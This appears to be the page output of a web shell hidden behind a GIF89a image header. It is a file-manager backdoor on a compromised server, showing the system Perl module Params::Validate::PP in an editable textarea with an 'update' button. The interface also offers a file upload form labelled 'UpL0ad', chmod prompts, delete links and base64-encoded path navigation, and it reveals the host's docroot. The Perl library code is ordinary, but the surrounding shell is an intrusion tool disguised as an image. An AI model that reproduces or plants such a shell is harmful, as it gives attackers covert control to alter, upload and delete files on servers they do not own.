GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>PP.pm<form method=post action="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ%3D%3D&f=UFAucG0%3D"><input name="f" value="PP.pm"><textarea name="t">package Params::Validate::PP;

use strict;
use warnings;

our $VERSION = '1.31';

use Params::Validate::Constants;
use Scalar::Util 1.10 ();

our $options;

# Various internals notes (for me and any future readers of this
# monstrosity):
#
# - A lot of the weirdness is _intentional_, because it optimizes for
#   the _success_ case.  It does not really matter how slow the code is
#   after it enters a path that leads to reporting failure.  But the
#   &quot;success&quot; path should be as fast as possible.
#
# -- We only calculate $called as needed for this reason, even though it
#    means copying code all over.
#
# - All the validation routines need to be careful never to alter the
#   references that are passed.
#
# -- The code assumes that _most_ callers will not be using the
#    skip_leading or ignore_case features.  In order to not alter the
#    references passed in, we copy them wholesale when normalizing them
#    to make these features work.  This is slower but lets us be faster
#    when not using them.

# Matt Sergeant came up with this prototype, which slickly takes the
# first array (which should be the caller's @_), and makes it a
# reference.  Everything after is the parameters for validation.
sub validate_pos (\@@) {
    return if $Params::Validate::NO_VALIDATION &amp;&amp; !defined wantarray;

    my $p = shift;

    my @specs = @_;

    my @p = @$p;
    if ($Params::Validate::NO_VALIDATION) {

        # if the spec is bigger that's where we can start adding
        # defaults
        for ( my $x = $#p + 1; $x &lt;= $#specs; $x++ ) {
            $p[$x] = $specs[$x]-&gt;{default}
                if ref $specs[$x] &amp;&amp; exists $specs[$x]-&gt;{default};
        }

        return wantarray ? @p : \@p;
    }

    # I'm too lazy to pass these around all over the place.
    local $options ||= _get_options( ( caller(0) )[0] )
        unless defined $options;

    my $min = 0;

    while (1) {
        last
            unless (
            ref $specs[$min]
            ? !( exists $specs[$min]-&gt;{default} || $specs[$min]-&gt;{optional} )
            : $specs[$min]
            );

        $min++;
    }

    my $max = scalar @specs;

    my $actual = scalar @p;
    unless ( $actual &gt;= $min
        &amp;&amp; ( $options-&gt;{allow_extra} || $actual &lt;= $max ) ) {
        my $minmax = (
            $options-&gt;{allow_extra}
            ? &quot;at least $min&quot;
            : ( $min != $max ? &quot;$min - $max&quot; : $max )
        );

        my $val = $options-&gt;{allow_extra} ? $min : $max;
        $minmax .= $val != 1 ? ' were' : ' was';

        my $called = _get_called();

        $options-&gt;{on_fail}-&gt;( &quot;$actual parameter&quot;
                . ( $actual != 1 ? 's'    : '' ) . &quot; &quot;
                . ( $actual != 1 ? 'were' : 'was' )
                . &quot; passed to $called but $minmax expected\n&quot; );
    }

    my $bigger = $#p &gt; $#specs ? $#p : $#specs;
    foreach ( 0 .. $bigger ) {
        my $spec = $specs[$_];

        next unless ref $spec;

        if ( $_ &lt;= $#p ) {
            _validate_one_param(
                $p[$_], \@p, $spec,
                'Parameter #' . ( $_ + 1 ) . ' (%s)'
            );
        }

        $p[$_] = $spec-&gt;{default} if $_ &gt; $#p &amp;&amp; exists $spec-&gt;{default};
    }

    _validate_pos_depends( \@p, \@specs );

    foreach (
        grep {
                   defined $p[$_]
                &amp;&amp; !ref $p[$_]
                &amp;&amp; ref $specs[$_]
                &amp;&amp; $specs[$_]{untaint}
        } 0 .. $bigger
    ) {
        ( $p[$_] ) = $p[$_] =~ /(.+)/;
    }

    return wantarray ? @p : \@p;
}

sub _validate_pos_depends {
    my ( $p, $specs ) = @_;

    for my $p_idx ( 0 .. $#$p ) {
        my $spec = $specs-&gt;[$p_idx];

        next
            unless $spec
            &amp;&amp; UNIVERSAL::isa( $spec, 'HASH' )
            &amp;&amp; exists $spec-&gt;{depends};

        my $depends = $spec-&gt;{depends};

        if ( ref $depends ) {
            require Carp;
            local $Carp::CarpLevel = 2;
            Carp::croak(
                &quot;Arguments to 'depends' for validate_pos() must be a scalar&quot;);
        }

        my $p_size = scalar @$p;
        if ( $p_size &lt; $depends - 1 ) {
            my $error
                = (   &quot;Parameter #&quot;
                    . ( $p_idx + 1 )
                    . &quot; depends on parameter #&quot;
                    . $depends
                    . &quot;, which was not given&quot; );

            $options-&gt;{on_fail}-&gt;($error);
        }
    }
    return 1;
}

sub _validate_named_depends {
    my ( $p, $specs ) = @_;

    foreach my $pname ( keys %$p ) {
        my $spec = $specs-&gt;{$pname};

        next
            unless $spec
            &amp;&amp; UNIVERSAL::isa( $spec, 'HASH' )
            &amp;&amp; $spec-&gt;{depends};

        unless ( UNIVERSAL::isa( $spec-&gt;{depends}, 'ARRAY' )
            || !ref $spec-&gt;{depends} ) {
            require Carp;
            local $Carp::CarpLevel = 2;
            Carp::croak(
                &quot;Arguments to 'depends' must be a scalar or arrayref&quot;);
        }

        foreach my $depends_name (
            ref $spec-&gt;{depends}
            ? @{ $spec-&gt;{depends} }
            : $spec-&gt;{depends}
        ) {
            unless ( exists $p-&gt;{$depends_name} ) {
                my $error
                    = (   &quot;Parameter '$pname' depends on parameter '&quot;
                        . $depends_name
                        . &quot;', which was not given&quot; );

                $options-&gt;{on_fail}-&gt;($error);
            }
        }
    }
}

sub validate (\@$) {
    return if $Params::Validate::NO_VALIDATION &amp;&amp; !defined wantarray;

    my $p = $_[0];

    my $specs = $_[1];
    local $options = _get_options( ( caller(0) )[0] ) unless defined $options;

    if ( ref $p eq 'ARRAY' ) {

        # we were called as validate( @_, ... ) where @_ has a
        # single element, a hash reference
        if ( ref $p-&gt;[0] ) {
            $p = { %{ $p-&gt;[0] } };
        }
        elsif ( @$p % 2 ) {
            my $called = _get_called();

            $options-&gt;{on_fail}
                -&gt;(   &quot;Odd number of parameters in call to $called &quot;
                    . &quot;when named parameters were expected\n&quot; );
        }
        else {
            $p = {@$p};
        }
    }

    if ( $options-&gt;{normalize_keys} ) {
        $specs = _normalize_callback( $specs, $options-&gt;{normalize_keys} );
        $p     = _normalize_callback( $p,     $options-&gt;{normalize_keys} );
    }
    elsif ( $options-&gt;{ignore_case} || $options-&gt;{strip_leading} ) {
        $specs = _normalize_named($specs);
        $p     = _normalize_named($p);
    }

    if ($Params::Validate::NO_VALIDATION) {
        return (
            wantarray
            ? (

                # this is a hash containing just the defaults
                (
                    map { $_ =&gt; $specs-&gt;{$_}-&gt;{default} }
                        grep {
                        ref $specs-&gt;{$_}
                            &amp;&amp; exists $specs-&gt;{$_}-&gt;{default}
                        }
                        keys %$specs
                ),
                (
                    ref $p eq 'ARRAY'
                    ? (
                        ref $p-&gt;[0]
                        ? %{ $p-&gt;[0] }
                        : @$p
                        )
                    : %$p
                )
                )
            : do {
                my $ref = (
                    ref $p eq 'ARRAY'
                    ? (
                        ref $p-&gt;[0]
                        ? $p-&gt;[0]
                        : {@$p}
                        )
                    : $p
                );

                foreach (
                    grep {
                        ref $specs-&gt;{$_}
                            &amp;&amp; exists $specs-&gt;{$_}-&gt;{default}
                    }
                    keys %$specs
                ) {
                    $ref-&gt;{$_} = $specs-&gt;{$_}-&gt;{default}
                        unless exists $ref-&gt;{$_};
                }

                return $ref;
            }
        );
    }

    _validate_named_depends( $p, $specs );

    unless ( $options-&gt;{allow_extra} ) {
        if ( my @unmentioned = grep { !exists $specs-&gt;{$_} } keys %$p ) {
            my $called = _get_called();

            $options-&gt;{on_fail}-&gt;( &quot;The following parameter&quot;
                    . ( @unmentioned &gt; 1 ? 's were' : ' was' )
                    . &quot; passed in the call to $called but &quot;
                    . ( @unmentioned &gt; 1 ? 'were' : 'was' )
                    . &quot; not listed in the validation options: @unmentioned\n&quot;
            );
        }
    }

    my @missing;

    # the iterator needs to be reset in case the same hashref is being
    # passed to validate() on successive calls, because we may not go
    # through all the hash's elements
    keys %$specs;
OUTER:
    while ( my ( $key, $spec ) = each %$specs ) {
        if (
            !exists $p-&gt;{$key}
            &amp;&amp; (
                ref $spec
                ? !(
                    do {

                        # we want to short circuit the loop here if we
                        # can assign a default, because there's no need
                        # check anything else at all.
                        if ( exists $spec-&gt;{default} ) {
                            $p-&gt;{$key} = $spec-&gt;{default};
                            next OUTER;
                        }
                    }
                    || do {

                        # Similarly, an optional parameter that is
                        # missing needs no additional processing.
                        next OUTER if $spec-&gt;{optional};
                    }
                )
                : $spec
            )
        ) {
            push @missing, $key;
        }

        # Can't validate a non hashref spec beyond the presence or
        # absence of the parameter.
        elsif ( ref $spec ) {
            _validate_one_param(
                $p-&gt;{$key}, $p, $spec,
                qq{The '$key' parameter (%s)}
            );
        }
    }

    if (@missing) {
        my $called = _get_called();

        my $missing = join ', ', map {&quot;'$_'&quot;} sort @missing;
        $options-&gt;{on_fail}-&gt;( &quot;Mandatory parameter&quot;
                . ( @missing &gt; 1 ? 's' : '' )
                . &quot; $missing missing in call to $called\n&quot; );
    }

    # do untainting after we know everything passed
    foreach my $key (
        grep {
                   defined $p-&gt;{$_}
                &amp;&amp; !ref $p-&gt;{$_}
                &amp;&amp; ref $specs-&gt;{$_}
                &amp;&amp; $specs-&gt;{$_}{untaint}
        }
        keys %$p
    ) {
        ( $p-&gt;{$key} ) = $p-&gt;{$key} =~ /(.+)/;
    }

    return wantarray ? %$p : $p;
}

sub validate_with {
    return if $Params::Validate::NO_VALIDATION &amp;&amp; !defined wantarray;

    my %p = @_;

    local $options = _get_options( ( caller(0) )[0], %p );

    unless ($Params::Validate::NO_VALIDATION) {
        unless ( exists $options-&gt;{called} ) {
            $options-&gt;{called} = ( caller( $options-&gt;{stack_skip} ) )[3];
        }

    }

    if ( UNIVERSAL::isa( $p{spec}, 'ARRAY' ) ) {
        return validate_pos( @{ $p{params} }, @{ $p{spec} } );
    }
    else {

        # intentionally ignore the prototype because this contains
        # either an array or hash reference, and validate() will
        # handle either one properly
        return &amp;validate( $p{params}, $p{spec} );
    }
}

sub _normalize_callback {
    my ( $p, $func ) = @_;

    my %new;

    foreach my $key ( keys %$p ) {
        my $new_key = $func-&gt;($key);

        unless ( defined $new_key ) {
            die
                &quot;The normalize_keys callback did not return a defined value when normalizing the key '$key'&quot;;
        }

        if ( exists $new{$new_key} ) {
            die
                &quot;The normalize_keys callback returned a key that already exists, '$new_key', when normalizing the key '$key'&quot;;
        }

        $new{$new_key} = $p-&gt;{$key};
    }

    return \%new;
}

sub _normalize_named {

    # intentional copy so we don't destroy original
    my %h = ( ref $_[0] ) =~ /ARRAY/ ? @{ $_[0] } : %{ $_[0] };

    if ( $options-&gt;{ignore_case} ) {
        $h{ lc $_ } = delete $h{$_} for keys %h;
    }

    if ( $options-&gt;{strip_leading} ) {
        foreach my $key ( keys %h ) {
            my $new;
            ( $new = $key ) =~ s/^\Q$options-&gt;{strip_leading}\E//;
            $h{$new} = delete $h{$key};
        }
    }

    return \%h;
}

my %Valid = map { $_ =&gt; 1 }
    qw( callbacks can default depends isa optional regex type untaint  );

sub _validate_one_param {
    my ( $value, $params, $spec, $id ) = @_;

    # for my $key ( keys %{$spec} ) {
    #     unless ( $Valid{$key} ) {
    #         $options-&gt;{on_fail}
    #             -&gt;(qq{&quot;$key&quot; is not an allowed validation spec key});
    #     }
    # }

    if ( exists $spec-&gt;{type} ) {
        unless ( defined $spec-&gt;{type}
            &amp;&amp; Scalar::Util::looks_like_number( $spec-&gt;{type} )
            &amp;&amp; $spec-&gt;{type} &gt; 0 ) {
            my $msg
                = &quot;$id has a type specification which is not a number. It is &quot;;
            if ( defined $spec-&gt;{type} ) {
                $msg .= &quot;a string - $spec-&gt;{type}&quot;;
            }
            else {
                $msg .= &quot;undef&quot;;
            }

            $msg
                .= &quot;.\n Use the constants exported by Params::Validate to declare types.&quot;;

            $options-&gt;{on_fail}-&gt;( sprintf( $msg, _stringify($value) ) );
        }

        unless ( _get_type($value) &amp; $spec-&gt;{type} ) {
            my $type = _get_type($value);

            my @is      = _typemask_to_strings($type);
            my @allowed = _typemask_to_strings( $spec-&gt;{type} );
            my $article = $is[0] =~ /^[aeiou]/i ? 'an' : 'a';

            my $called = _get_called(1);

            $options-&gt;{on_fail}-&gt;(
                sprintf(
                          &quot;$id to $called was $article '@is', which &quot;
                        . &quot;is not one of the allowed types: @allowed\n&quot;,
                    _stringify($value)
                )
            );
        }
    }

    # short-circuit for common case
    return
        unless ( $spec-&gt;{isa}
        || $spec-&gt;{can}
        || $spec-&gt;{callbacks}
        || $spec-&gt;{regex} );

    if ( exists $spec-&gt;{isa} ) {
        foreach ( ref $spec-&gt;{isa} ? @{ $spec-&gt;{isa} } : $spec-&gt;{isa} ) {
            unless (
                do {
                    local $@ = q{};
                    eval { $value-&gt;isa($_) };
                }
            ) {
                my $is       = ref $value ? ref $value   : 'plain scalar';
                my $article1 = $_ =~ /^[aeiou]/i  ? 'an' : 'a';
                my $article2 = $is =~ /^[aeiou]/i ? 'an' : 'a';

                my $called = _get_called(1);

                $options-&gt;{on_fail}-&gt;(
                    sprintf(
                              &quot;$id to $called was not $article1 '$_' &quot;
                            . &quot;(it is $article2 $is)\n&quot;, _stringify($value)
                    )
                );
            }
        }
    }

    if ( exists $spec-&gt;{can} ) {
        foreach ( ref $spec-&gt;{can} ? @{ $spec-&gt;{can} } : $spec-&gt;{can} ) {
            unless (
                do {
                    local $@ = q{};
                    eval { $value-&gt;can($_) };
                }
            ) {
                my $called = _get_called(1);

                $options-&gt;{on_fail}-&gt;(
                    sprintf(
                        &quot;$id to $called does not have the method: '$_'\n&quot;,
                        _stringify($value)
                    )
                );
            }
        }
    }

    if ( $spec-&gt;{callbacks} ) {
        unless ( UNIVERSAL::isa( $spec-&gt;{callbacks}, 'HASH' ) ) {
            my $called = _get_called(1);

            $options-&gt;{on_fail}-&gt;(
                &quot;'callbacks' validation parameter for $called must be a hash reference\n&quot;
            );
        }

        foreach ( keys %{ $spec-&gt;{callbacks} } ) {
            unless ( UNIVERSAL::isa( $spec-&gt;{callbacks}{$_}, 'CODE' ) ) {
                my $called = _get_called(1);

                $options-&gt;{on_fail}-&gt;(
                    &quot;callback '$_' for $called is not a subroutine reference\n&quot;
                );
            }

            my $ok;
            my $e = do {
                local $@ = q{};
                local $SIG{__DIE__};
                $ok = eval { $spec-&gt;{callbacks}{$_}-&gt;( $value, $params ) };
                $@;
            };

            if ( !$ok ) {
                my $called = _get_called(1);

                if ( ref $e ) {
                    $options-&gt;{on_fail}-&gt;($e);
                }
                else {
                    my $msg = &quot;$id to $called did not pass the '$_' callback&quot;;
                    $msg .= &quot;: $e&quot; if length $e;
                    $msg .= &quot;\n&quot;;
                    $options-&gt;{on_fail}
                        -&gt;( sprintf( $msg, _stringify($value) ) );
                }
            }
        }
    }

    if ( exists $spec-&gt;{regex} ) {
        unless ( ( defined $value ? $value : '' ) =~ /$spec-&gt;{regex}/ ) {
            my $called = _get_called(1);

            $options-&gt;{on_fail}-&gt;(
                sprintf(
                    &quot;$id to $called did not pass regex check\n&quot;,
                    _stringify($value)
                )
            );
        }
    }
}

{
    # if it UNIVERSAL::isa the string on the left then its the type on
    # the right
    my %isas = (
        'ARRAY'  =&gt; ARRAYREF,
        'HASH'   =&gt; HASHREF,
        'CODE'   =&gt; CODEREF,
        'GLOB'   =&gt; GLOBREF,
        'SCALAR' =&gt; SCALARREF,
        'REGEXP' =&gt; SCALARREF,
    );
    my %simple_refs = map { $_ =&gt; 1 } keys %isas;

    sub _get_type {
        return UNDEF unless defined $_[0];

        my $ref = ref $_[0];
        unless ($ref) {

            # catches things like:  my $fh = do { local *FH; };
            return GLOB if UNIVERSAL::isa( \$_[0], 'GLOB' );
            return SCALAR;
        }

        return $isas{$ref} if $simple_refs{$ref};

        foreach ( keys %isas ) {
            return $isas{$_} | OBJECT if UNIVERSAL::isa( $_[0], $_ );
        }

        # I really hope this never happens.
        return UNKNOWN;
    }
}

{
    my %type_to_string = (
        SCALAR()    =&gt; 'scalar',
        ARRAYREF()  =&gt; 'arrayref',
        HASHREF()   =&gt; 'hashref',
        CODEREF()   =&gt; 'coderef',
        GLOB()      =&gt; 'glob',
        GLOBREF()   =&gt; 'globref',
        SCALARREF() =&gt; 'scalarref',
        UNDEF()     =&gt; 'undef',
        OBJECT()    =&gt; 'object',
        UNKNOWN()   =&gt; 'unknown',
    );

    sub _typemask_to_strings {
        my $mask = shift;

        my @types;
        foreach (
            SCALAR,    ARRAYREF, HASHREF, CODEREF, GLOB, GLOBREF,
            SCALARREF, UNDEF,    OBJECT,  UNKNOWN
        ) {
            push @types, $type_to_string{$_} if $mask &amp; $_;
        }
        return @types ? @types : ('unknown');
    }
}

{
    my %defaults = (
        ignore_case   =&gt; 0,
        strip_leading =&gt; 0,
        allow_extra   =&gt; 0,
        on_fail       =&gt; sub {
            require Carp;
            Carp::croak( $_[0] );
        },
        stack_skip     =&gt; 1,
        normalize_keys =&gt; undef,
    );

    *set_options = \&amp;validation_options;

    sub validation_options {
        my %opts = @_;

        my $caller = caller;

        foreach ( keys %defaults ) {
            $opts{$_} = $defaults{$_} unless exists $opts{$_};
        }

        $Params::Validate::OPTIONS{$caller} = \%opts;
    }

    sub _get_options {
        my $caller = shift;

        if (@_) {

            return (
                $Params::Validate::OPTIONS{$caller}
                ? {
                    %{ $Params::Validate::OPTIONS{$caller} },
                    @_
                    }
                : { %defaults, @_ }
            );
        }
        else {
            return (
                exists $Params::Validate::OPTIONS{$caller}
                ? $Params::Validate::OPTIONS{$caller}
                : \%defaults
            );
        }
    }
}

sub _get_called {
    my $extra_skip = $_[0] || 0;

    # always add one more for this sub
    $extra_skip++;

    my $called = (
        exists $options-&gt;{called}
        ? $options-&gt;{called}
        : ( caller( $options-&gt;{stack_skip} + $extra_skip ) )[3]
    );

    $called = '(unknown)' unless defined $called;

    return $called;
}

sub _stringify {
    return defined $_[0] ? qq{&quot;$_[0]&quot;} : 'undef';
}

1;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/x86_64-linux-gnu/perl5/5.38/Params/Validate<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&x=Q29uc3RhbnRzLnBt">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=Q29uc3RhbnRzLnBt"/>Constants.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=Q29uc3RhbnRzLnBt&c=`+btoa(c):0" value="0644"></td><td>552</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&x=UFAucG0=">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=UFAucG0="/>PP.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=UFAucG0=&c=`+btoa(c):0" value="0644"></td><td>20313</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&x=WFMucG0=">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=WFMucG0="/>XS.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L1BhcmFtcy9WYWxpZGF0ZQ==&f=WFMucG0=&c=`+btoa(c):0" value="0644"></td><td>942</td></tr></table>